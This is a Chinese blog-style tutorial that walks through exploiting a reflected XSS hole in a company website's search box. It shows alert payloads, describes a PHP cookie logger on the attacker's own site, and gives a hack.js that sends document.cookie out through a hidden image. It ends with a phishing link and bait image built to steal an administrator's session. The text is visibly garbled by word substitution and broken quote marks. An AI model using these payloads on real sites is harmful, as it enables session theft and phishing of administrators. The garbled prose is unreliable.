首先我们打开某个企业网站,看看有没有什么留言区域、搜索框什么的。现实创造,留言的地方都被企业去掉了,只剩下搜索框。
搜索框就搜索框吧,我们带入我们测试的代码试试效果,在搜索框输入:
<script>alert('XSS HACKING')</script>

没错跟我们想的一样,确实存在XSS漏洞。
我们测试一下cookie获取试试,在搜索框输入:
<script>alert(document.cookie)</script>
现实一点都不残酷,cookie还是可以获取的,如下图:
但有些人可能认为,纯挚的拿个这样XSS貌似没什么利用代价,便是弹个框而已,管理员又不会自己输入代码弹个框再发给你。
实在我们可以利用这个来钓鱼啊!
那我们看一下页面的源码,按理说肯定是GET提交的,如果是GET的话,那么我们直接伪装地址栏连接通报恶意代码就OK了。
不出我们所料,果真是GET提交的。这样就好办了,下面我们说个流程:
1.自己搭建一个站点
2.在自己的站点上创建一个获取对方cookie的PHP文件
3.管理员访问带有跳转的链接
4.中招
那么实现起来该当是这个样子的:
我们先布局一个获取管理员cookie的PHP文件,起名为getcookie.php:
代码的意思是获取GET过来的cookie,然后打开本地站点的cookie.txt文件并写入传入的cookie,并且加入韶光戳。
我们把末了一行加入一个输出,先本地测试一下效果:
末了一行加入:echo $cookie;
然后浏览器输入:
http://127.0.0.1:8080/getcookie.php?cookie=im hacker
实行访问,看看效果:
不错,成功的获取到,然后再看看我们本地站点的cookie.txt文件里面是否加入了我们的cookie变量的值。
同样确当地本间也储存的通报过来的cookie变量,并保存了。
下面我们想储存真正的cookie的值就须要把下面的代码放在存在XSS的页面实行:
<script src=\"大众http://127.0.0.1:8080/getcookie.php?cookie='+encodeURIComponent(document.cookie)\"大众></script>
代码的含义:
获取管理员在官网上的cookie,然后以get的办法提交给127.0.0.1下面的getcookie.php。
我们考试测验着把这串代码在官网实行以下试试:
毫无马脚...代码并没有被实行,预测可能是代码太长,后台给加了长度限定,以是没被实行,怎么办呢?
我们可以通过js加载的办法来试试效果。
我们新建一个js脚本,名字随便起,比如说叫:hack.js
创建一个图片,并设置为不可见,图片地址设置为以上的恶意地址,使官网进行加载:
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://127.0.0.1:8080/getcookie.php?cookie='+encodeURIComponent(document.cookie);
现在我们再来重新架构一下我们的XSS代码,在搜索框进行输入:
<script src=\公众http://127.0.0.1:8080/hack.js\"大众></script>
现在就变成了,浏览器自动加载我们本地站点下的hack.js,而hack.js里面又储存了我们的跳转链接也便是上面无法实行的那串代码,我们访问测试:
你会创造,奇迹涌现了,我们确当地cookie.txt涌现了官网的cookie。
到这里基本就大功告成了,我们末了要做的便是钓鱼,你可以写一个页面,插入一张比较具有诱惑性的图片,并且图片的地址是我们布局的连接,发给管理员,管理员如果记录了官网的cookie的话一访问遍中招了。
我们创建一个钓鱼页面:
<a href=\"大众http://官网域名.com/search?q=
<script src=\公众http://127.0.0.1:8080/hack.js\公众></script>\公众>
<img src=图片地址>
以上的代码,发给管理员,如果管理员点击了图片,就会透露cookie。
只要一点击,管理员就会跳到官方的地址,并发送给我们的恶意站点。
以上便是关于XSS的利用,可见一些眇小的BUG就会带来严重的安全问题,以是程序员在写代码的时候一定要把稳规避,不要给不法分子可乘之机!
关于XSS的戒备,前面的文章我有先容,有须要的可以去看看。